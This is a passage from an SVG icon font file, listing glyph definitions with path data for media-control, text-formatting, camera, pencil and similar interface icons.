<glyph unicode="&#xf04c;" d="M 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 160,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 128,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384" data-tags="pause, media, control" />
<glyph unicode="&#xf04b;" d="M 346,152.25l-332-184.5q-5.75-3.25 -9.875-0.75t-4.125,9l0,368 q0,6.5 4.125,9t 9.875-0.75l 332-184.5q 5.75-3.25 5.75-7.75t-5.75-7.75z" horiz-adv-x="352" data-tags="play, media, control" />
<glyph unicode="&#xf04a;" d="M 404.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2,2.25 -3.25,4.75l0-177.5 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-4.75,4.75 -4.75,11.25t 4.75,11.25l 177.5,177.5q 4.75,4.75 8,3.25t 3.25-8l0-177.5 q 1.25,2.75 3.25,4.75z" horiz-adv-x="416" data-tags="backward, previous, back, control" />
<glyph unicode="&#xf049;" d="M 436.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-177.5 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-169.5 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-169.5 q 1,2.75 3.25,4.75l 177.5,177.5 q 4.75,4.75 8,3.25t 3.25-8l0-177.5 q 1,2.75 3.25,4.75z" data-tags="fast-backward, first, previous, control" />
<glyph unicode="&#xf048;" d="M 244.75,348.75q 4.75,4.75 8,3.25t 3.25-8l0-368 q0-6.5 -3.25-8t-8,3.25l-177.5,177.5q-2.25,2.25 -3.25,4.75l0-169.5 q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-169.5 q 1,2.75 3.25,4.75z" horiz-adv-x="256" data-tags="step-backward, previous, control" />
<glyph unicode="&#xf047;" d="M 448,160q0-6.5 -4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,32 l-96,0 l0-96 l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 32,0 l0,96 l-96,0 l0-32 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25 t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 l 96,0 l0,96 l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25t-4.75-11.25t-11.25-4.75l-32,0 l0-96 l 96,0 l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z" data-tags="move, arrows" />
<glyph unicode="&#xf046;" d="M 352,151.5l0-79.5 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0 q 15.75,0 29.25-6.25q 3.75-1.75 4.5-5.75q 0.75-4.25 -2.25-7.25l-12.25-12.25q-2.5-2.5 -5.75-2.5q-0.75,0 -2.25,0.5q-5.75,1.5 -11.25,1.5l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208  q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,63.5 q0,3.25 2.25,5.5l 16,16q 2.5,2.5 5.75,2.5q 1.5,0 3-0.75q 5-2 5-7.25zM 409.75,273.75l-203.5-203.5q-6-6 -14.25-6t-14.25,6l-107.5,107.5q-6,6 -6,14.25t 6,14.25l 27.5,27.5q 6,6 14.25,6t 14.25-6l 65.75-65.75l 161.75,161.75q 6,6 14.25,6t 14.25-6l 27.5-27.5 q 6-6 6-14.25t-6-14.25z" horiz-adv-x="416" data-tags="check, checkbox, correct, tick" />
<glyph unicode="&#xf045;" d="M 352,136.75l0-64.75 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 63.75,0 l0,0 q 3.25,0 5.625-2.375t 2.375-5.625q0-6.75 -6.5-8q-19.25-6.5 -33.25-15q-2.5-1 -4-1l-28,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0  q 16.5,0 28.25,11.75t 11.75,28.25l0,53.5 q0,4.75 4.5,7.25q 7,3.25 13.5,9.25q 4,4 8.75,2q 5.25-2.25 5.25-7.25zM 411.25,260.75l-96-96q-4.5-4.75 -11.25-4.75q-3,0 -6.25,1.25q-9.75,4.25 -9.75,14.75l0,48 l-40,0 q-80.75,0 -109.5-32.75q-29.75-34.25 -18.5-118.25q 0.75-5.75 -5-8.5q-2-0.5 -3-0.5q-4,0 -6.5,3.25q-2.5,3.5 -5.25,7.75t-9.875,17.125t-12.375,24.875 t-9.625,28.5t-4.375,30.5q0,12.25 0.875,22.75t 3.5,22.5t 7,22t 11.75,20.375t 17.125,18.5t 23.625,15.375t 31.125,12.125t 39.875,7.625t 49.125,2.75l 40,0 l0,48 q0,10.5 9.75,14.75q 3.25,1.25 6.25,1.25q 6.5,0 11.25-4.75l 96-96q 4.75-4.75 4.75-11.25t-4.75-11.25z" horiz-adv-x="416" data-tags="share" />
<glyph unicode="&#xf044;" d="M 222,88l 29,29l-38,38l-29-29l0-14 l 24,0 l0-24 l 14,0 zM 332,268q-4,4 -8.25-0.25l-87.5-87.5q-4.25-4.25 -0.25-8.25t 8.25,0.25l 87.5,87.5q 4.25,4.25 0.25,8.25zM 352,119.5l0-47.5 q0-29.75 -21.125-50.875t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0  q 15.75,0 29.25-6.25q 3.75-1.75 4.5-5.75q 0.75-4.25 -2.25-7.25l-12.25-12.25q-3.5-3.5 -8-2q-5.75,1.5 -11.25,1.5l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25l0,31.5 q0,3.25 2.25,5.5l 16,16q 3.75,3.75 8.75,1.75t 5-7.25zM 328,304l 72-72l-168-168l-72,0 l0,72 zM 439,271l-23-23 l-72,72l 23,23q 7,7 17,7t 17-7l 38-38q 7-7 7-17t-7-17z" data-tags="edit, write, blog" />
<glyph unicode="&#xf043;" d="M 128,96q0,9 -5,17.25q-0.25,0.25 -3.875,5.625t-6.375,9.5t-6.25,11t-5.25,12.625q-1,4 -5.25,4t-5.25-4q-1.75-5.75 -5.25-12.625t-6.25-11t-6.375-9.5t-3.875-5.625q-5-8.25 -5-17.25q0-13.25 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 256,128q0-53 -37.5-90.5t-90.5-37.5t-90.5,37.5t-37.5,90.5 q0,36.25 20.25,68.75q 1.5,2.25 15.625,22.625t 25.25,37.75t 24.875,44.5t 20.75,50.375q 2.25,7.5 8.5,11.75t 12.75,4.25t 12.875-4.25t 8.375-11.75q 7-23.25 20.75-50.375t 24.875-44.5t 25.25-37.75t 15.625-22.625q 20.25-31.75 20.25-68.75z" horiz-adv-x="256" data-tags="tint, droplet, water, color" />
<glyph unicode="&#xf042;" d="M 192,24l0,272 q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="adjust, contrast" />
<glyph unicode="&#xf041;" d="M 192,224q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 256,224q0-27.25 -8.25-44.75l-91-193.5q-4-8.25 -11.875-13t-16.875-4.75t-16.875,4.75t-11.625,13l-91.25,193.5q-8.25,17.5 -8.25,44.75q0,53 37.5,90.5t 90.5,37.5t 90.5-37.5t 37.5-90.5z" horiz-adv-x="256" data-tags="map-marker, location, marker" />
<glyph unicode="&#xf040;" d="M 90.75,0l 22.75,22.75l-58.75,58.75l-22.75-22.75l0-26.75 l 32,0 l0-32 l 26.75,0 zM 221.5,232q0,5.5 -5.5,5.5q-2.5,0 -4.25-1.75l-135.5-135.5q-1.75-1.75 -1.75-4.25q0-5.5 5.5-5.5q 2.5,0 4.25,1.75l 135.5,135.5q 1.75,1.75 1.75,4.25zM 208,280l 104-104l-208-208l-104,0 l0,104 zM 378.75,256q0-13.25 -9.25-22.5l-41.5-41.5l-104,104l 41.5,41.25q 9,9.5 22.5,9.5 q 13.25,0 22.75-9.5l 58.75-58.5q 9.25-9.75 9.25-22.75z" horiz-adv-x="384" data-tags="pencil, write, edit, blog" />
<glyph unicode="&#xf03e;" d="M 160,240q0-20 -14-34t-34-14t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 416,144l0-112 l-352,0 l0,48 l 80,80l 40-40l 128,128zM 440,320l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-304 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,304  q0,3.25 -2.375,5.625t-5.625,2.375zM 480,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480" data-tags="picture, image, photo" />
<glyph unicode="&#xf03d;" d="M 448,296l0-272 q0-10.5 -9.75-14.75q-3.25-1.25 -6.25-1.25q-6.75,0 -11.25,4.75l-100.75,100.75l0-41.5 q0-29.75 -21.125-50.875t-50.875-21.125l-176,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,176 q0,29.75 21.125,50.875t 50.875,21.125l 176,0 q 29.75,0 50.875-21.125t 21.125-50.875l0-41.25 l 100.75,100.5q 4.5,4.75 11.25,4.75q 3,0 6.25-1.25 q 9.75-4.25 9.75-14.75z" data-tags="facetime-video, video, movie, camera, film" />
<glyph unicode="&#xf03c;" d="M 88,176q0-3.5 -2.25-5.75l-72-72q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625l0,144 q0,3.25 2.375,5.625t 5.625,2.375q 3.5,0 5.75-2.25l 72-72q 2.25-2.25 2.25-5.75zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375t 2.375-5.625z" data-tags="indent-right" />
<glyph unicode="&#xf03b;" d="M 96,248l0-144 q0-3.25 -2.375-5.625t-5.625-2.375q-3.5,0 -5.75,2.25l-72,72q-2.25,2.25 -2.25,5.75t 2.25,5.75l 72,72q 2.25,2.25 5.75,2.25q 3.25,0 5.625-2.375t 2.375-5.625zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-272,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 272,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-432,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 432,0 q 3.25,0 5.625-2.375t 2.375-5.625z" data-tags="indent-left" />
<glyph unicode="&#xf03a;" d="M 64,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 64,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375 t 2.375-5.625zM 64,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,56l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 336,0  q 3.25,0 5.625-2.375t 2.375-5.625zM 64,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-48,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 48,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,152l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625 t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,248l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,344l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48  q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625z" data-tags="list, menu" />
<glyph unicode="&#xf039;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="align-justify, justify, paragraph, editor, format" />
<glyph unicode="&#xf038;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-384,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 448,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-288,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="align-right, paragraph, editor, format" />
<glyph unicode="&#xf037;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 352,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-224,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 224,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 416,240l0-32 q0-6.5 -4.75-11.25t-11.25-4.75 l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 320,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 160,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="align-center, paragraph, editor, format" />
<glyph unicode="&#xf036;" d="M 448,48l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-416,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 416,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 352,144l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 416,240l0-32 q0-6.5 -4.75-11.25 t-11.25-4.75l-384,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 320,336l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-288,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" data-tags="align-left, paragraph, editor, format" />
<glyph unicode="&#xf035;" d="M 20.25,351.75l 13.5-6.75q 5-1.25 52.75-1.25l 32.5,0 l 4.75,0.75l 28.75,0.25l 111.5-0.25l 79.5,0 l 8.5-0.5q 3.5-0.25 7,1.75t 5.25,4l 1.75,2l 10.5,0.25q 3.75,0 7-0.25l0-26.125 t 0.25-32.875l 0.25-25l-0.25-14.5q0-8 -1-12.75q-9.75-3.75 -17-4.5q-6.25,10.75 -13.5,32q-2,6 -3.875,15.625t-2.875,16.375t-1.5,7.25q-3.25,3.75 -6.75,4.75q-1.75,0.5 -14.625,0.5t-34.625-0.25t-32-0.25 q-23.5,0 -31.75-1.25q-2.5-24.25 -2-34l 0.25-38l0,13 l 0.75-89.75l-0.25-36.75q-0.25-11.5 2.75-21.25q 12.25-6.25 22.25-8q 0.5,0 4.5-1.25t 11-3.25t 10.75-3q 7.5-2 12.5-4.5q 1.25-11.25 1.25-12.5q0-2.5 -0.75-7.25q-3.5-0.25 -8.5-0.25q-27.5,0 -46.75,2.5q-18,2 -59.5,2q-20.5,0 -58.25-3.25q-11.25-1.25 -17.5-1.25q-0.5,5.5 -0.5,6.5l-0.25,6.5l0,2.25 q 5.25,8.25 19.75,12.25 q 34.75,9.5 39.75,12.5q 2.25,5.25 3,14q 1.5,34.25 1.5,108.25l-1.25,11q0,66.25 -0.5,69.5q-0.5,2.75 -1.5,3.75q-1.5,1.25 -3.5,1.5q-9.5,1.5 -37,1.5q-12.5,0 -42.125-3.5t-33.125-6q-3.25-2.25 -5.5-8.25t-5.5-18.75t-6-21q-1.5-4.75 -4.875-8t-5.125-3.25q-11,6.75 -14,11l0,74.25 l0,21.5 zM 376.25,28.25q 6.5-5 6.5-12.25t-6.5-12.25l-40.5-31.5 q-6.5-5 -11.125-2.75t-4.625,10.5l0,20 l-256,0 l0-20 q0-8.25 -4.625-10.5t-11.125,2.75l-40.5,31.5q-6.5,5 -6.5,12.25t 6.5,12.25l 40.5,31.5q 6.5,5 11.125,2.75t 4.625-10.5l0-20 l 256,0 l0,20 q0,8.25 4.625,10.5t 11.125-2.75z" horiz-adv-x="384" data-tags="text-width, format, text" />
<glyph unicode="&#xf034;" d="M 20.25,351.75l 13.5-6.75q 5-1.25 52.75-1.25l 32.5,0 l 4.75,0.75l 28.75,0.25l 53.75-0.25l 73.25,0 l 8.5-0.5q 3.5-0.25 7,1.75t 5.25,4l 1.75,2l 10.5,0.25q 3.75,0 7-0.25l0-26.125 t 0.25-32.875l 0.25-25l-0.25-14.5q0-8 -1-12.75q-9.75-3.75 -17-4.5q-6.25,10.75 -13.5,32q-2,6 -3.875,15.625t-2.875,16.375t-1.5,7.25q-3.25,3.75 -6.75,4.75q-1.75,0.5 -10.625,0.5t-25.875-0.25t-27.75-0.25 q-8.5,0 -16.75-1.25q-2.5-24.25 -2-34l 0.25-38l0-83 l 0.75-89.75l-0.25-36.75q-0.25-11.5 2.75-21.25q 12.25-6.25 22.25-8q 0.5,0 4.5-1.25t 11-3.25t 10.75-3q 7.5-2 12.5-4.5q 1.25-11.25 1.25-12.5q0-2.5 -0.75-7.25q-3.5-0.25 -8.5-0.25q-27.5,0 -46.75,2.5q-18,2 -59.5,2q-22,0 -58.25-3.5q-12-1 -17.5-1q-0.5,5.5 -0.5,6.5l-0.25,6.5l0,2.25 q 5.25,8.25 19.75,12.25 q 34.75,9.5 39.75,12.5q 2.25,5.25 3,14q 2,48 1.5,108.25l-1.25,107q-0.25,15.5 -0.125,29.625t 0.125,25.625t-0.5,14.25t-1.5,3.75q-1.5,1.25 -3.5,1.5q-9.5,1.5 -37,1.5q-10.75,0 -25-3.375t-18.25-6.125q-3.25-2.25 -5.5-8.25t-5.5-18.75t-6-21q-1.5-4.75 -4.875-8t-5.125-3.25q-11,6.75 -14,11l0,74.25 l0,21.5 zM 436,32q 8.25,0 10.5-4.625t-2.75-11.125 l-31.5-40.5q-5-6.5 -12.25-6.5t-12.25,6.5l-31.5,40.5q-5,6.5 -2.75,11.125t 10.5,4.625l 20,0 l0,256 l-20,0 q-8.25,0 -10.5,4.625t 2.75,11.125l 31.5,40.5q 5,6.5 12.25,6.5t 12.25-6.5l 31.5-40.5q 5-6.5 2.75-11.125t-10.5-4.625l-20,0 l0-256 l 20,0 z" data-tags="text-height, format, editor" />
<glyph unicode="&#xf033;" d="M0-31.5l 4.25,21.25q 1,0.25 19.25,5q 19,4.75 29,9.75q 7.25,9.25 10.25,25.25l 6.75,34.75l 14,67l 3,16q 2,11 4.25,21.125t 4,16.75t 3.125,11.625t 2.25,7.625t 0.875,2.875l 7.25,39.25l 4,15.75l 5.5,33.75l 2,12.5l0,9.5 q-10.25,5.5 -36,7q-7,0.5 -9.5,1l 4.75,25.75l 79.25-3.5q 9.75-0.5 18.25-0.5q 16.5,0 53.5,2.25q 8.25,0.5 17,1.125t 9,0.625q-0.5-4.75 -1.5-9.5 q-1.75-7.25 -3.25-12.75q-13.75-4.75 -27.25-7.75q-16-4 -25.25-7.75q-3-7.75 -6-22q-2.25-11 -3.25-20.5q-11-49.75 -16.5-76.5l-15.25-77.75l-9.5-39.5l-10.75-58.75l-3-11.25q-0.5-1.75 0.25-6.75q 16-3.75 29.75-5.25q 9-1.25 16.5-2.5q-0.25-7.25 -1.75-14.5q-1.75-7.75 -2.25-10.25q-4.5,0 -5.75-0.25q-6-0.5 -10.5-0.5q-2.25,0 -7,0.75q-4.75,1 -36.25,4.25 l-49.5,0.5q-10.25,0.25 -43.5-2.75q-18.5-1.75 -24.5-2.25z" horiz-adv-x="256" data-tags="italic, editor, format" />
<glyph unicode="&#xf032;" d="M 138.75,3.75q 19-8 35-8q 32.75,0 54,10.25t 30.5,28.25q 9.5,17.5 9.5,45.25q0,28.5 -10.25,45q-14.5,23.5 -35.25,31.5q-20,8 -61.75,8q-18.5,0 -25.25-2.5l0-36 l-0.25-43.25l 0.75-67.5q0-3.75 3-11zM 135.25,190.25q 10.75-1.75 27.25-1.75q 43.75,0 66,16.25t 22.25,56q0,28 -21.25,46.75q-21,18.75 -63.75,18.75q-13,0 -32.5-3.25q0-11 0.5-19.25 q 1.75-30.5 1.5-69.75l-0.25-24.5q0-10.75 0.25-19.25zM0-32l 0.5,23.5q 11.25,2.25 17,3q 19.25,3 30.75,7.75q 4.25,6.75 5.25,12.75q 2.25,16.5 2.25,48.5l-0.5,124.25q-1.25,64 -2.25,101q-0.25,21.75 -2.75,27.25q-0.25,1 -3,3q-4.5,3 -17.25,3.75q-7.5,0.5 -28.5,3.25l-1,20.75l 65,1.5l 95,3.25l 11.25,0.25q 1.25,0 3.5,0.125t 3.5,0.125q 0.25,0 5.375-0.125t 10.125-0.125l 18.5,0 q 22,0 47.75-6.75 q 10.75-3.25 24-9.75q 14.25-7.25 25.5-19q 11-11.75 16.25-26t 5.25-30.5q0-17.5 -8-32t-23.75-26.25q-6.5-5 -37.5-19.25q 44.25-10.25 66.75-36.5q 23-26.5 23-59q0-19 -7.25-40.25q-5.25-15.5 -17.75-29.25q-16.5-18 -35-27q-18.25-9 -50.75-15q-20.5-3.75 -49.5-2.75l-49.25,1q-21,0.5 -74.5-2.75q-8.25-0.75 -68-2.75z" horiz-adv-x="352" data-tags="bold, editor, format" />
<glyph unicode="&#xf031;" d="M 181.25,244.25l-42.5-112.5q 18.25-0.25 38.375-0.5t 29.75-0.375t 13.125-0.125l 7.25,0.5q-8,23.75 -23,60.25q-13.25,33 -23,52.75zM 5.25-32l-5.25,0 l 0.5,19.75q 5.5,1.75 20,4.5q 22.25,4 27.5,7.75q 5,4 12,17l 59.25,154l 70,181l 18.75,0 l 13.25,0 l 2.75-5.25l 51.25-120q 25.75-60.5 31-74.25q 9.75-25.5 24-58.75q 6.5-14.5 16.25-41q 6-16.75 16.25-37.25 q 5.5-12.25 8.75-14.25q 5.5-4.75 17.25-5.75q 11.75-1.5 25.75-6.75q 1.5-9.75 1.5-14.25q0-3.5 -0.25-6.5q-20,0 -48,2q-23.25,2 -47.25,2q-19.75,0 -33.75-0.5l-50-2.75l-14.5-0.5q0,11.25 1,19.5l 32.75,7q 14,3.25 17,5.75q 3,3 3,6.75t-1.5,8l-11.75,28.5l-23,57l-112.5,0.5q-7.25-16.25 -26-68.5q-5.75-16 -5.75-21q0-7.75 4.25-10.75 q 6.5-5.25 25.75-8q 0.75,0 3.375-0.5t 7.5-1.25t 10.125-1.5q 0.25-7 0.25-14.5q0-4.25 -0.5-6.75q-16.5,0 -87.25,5l-12-2q-20.25-3.5 -41.75-3.5z" horiz-adv-x="416" data-tags="font, letter, glyph, editor" />
<glyph unicode="&#xf030;" d="M 240,216q 29.75,0 50.875-21.125t 21.125-50.875t-21.125-50.875t-50.875-21.125t-50.875,21.125t-21.125,50.875t 21.125,50.875t 50.875,21.125zM 416,320q 26.5,0 45.25-18.75t 18.75-45.25l0-224 q0-26.5 -18.75-45.25t-45.25-18.75l-352,0 q-26.5,0 -45.25,18.75t-18.75,45.25l0,224 q0,26.5 18.75,45.25t 45.25,18.75l 56,0 l 12.75,34 q 4.75,12.25 17.375,21.125t 25.875,8.875l 128,0 q 13.25,0 25.875-8.875t 17.375-21.125l 12.75-34l 56,0 zM 240,32q 46.25,0 79.125,32.875t 32.875,79.125t-32.875,79.125t-79.125,32.875t-79.125-32.875t-32.875-79.125t 32.875-79.125t 79.125-32.875z" horiz-adv-x="480" data-tags="camera, photo, picture, image" />
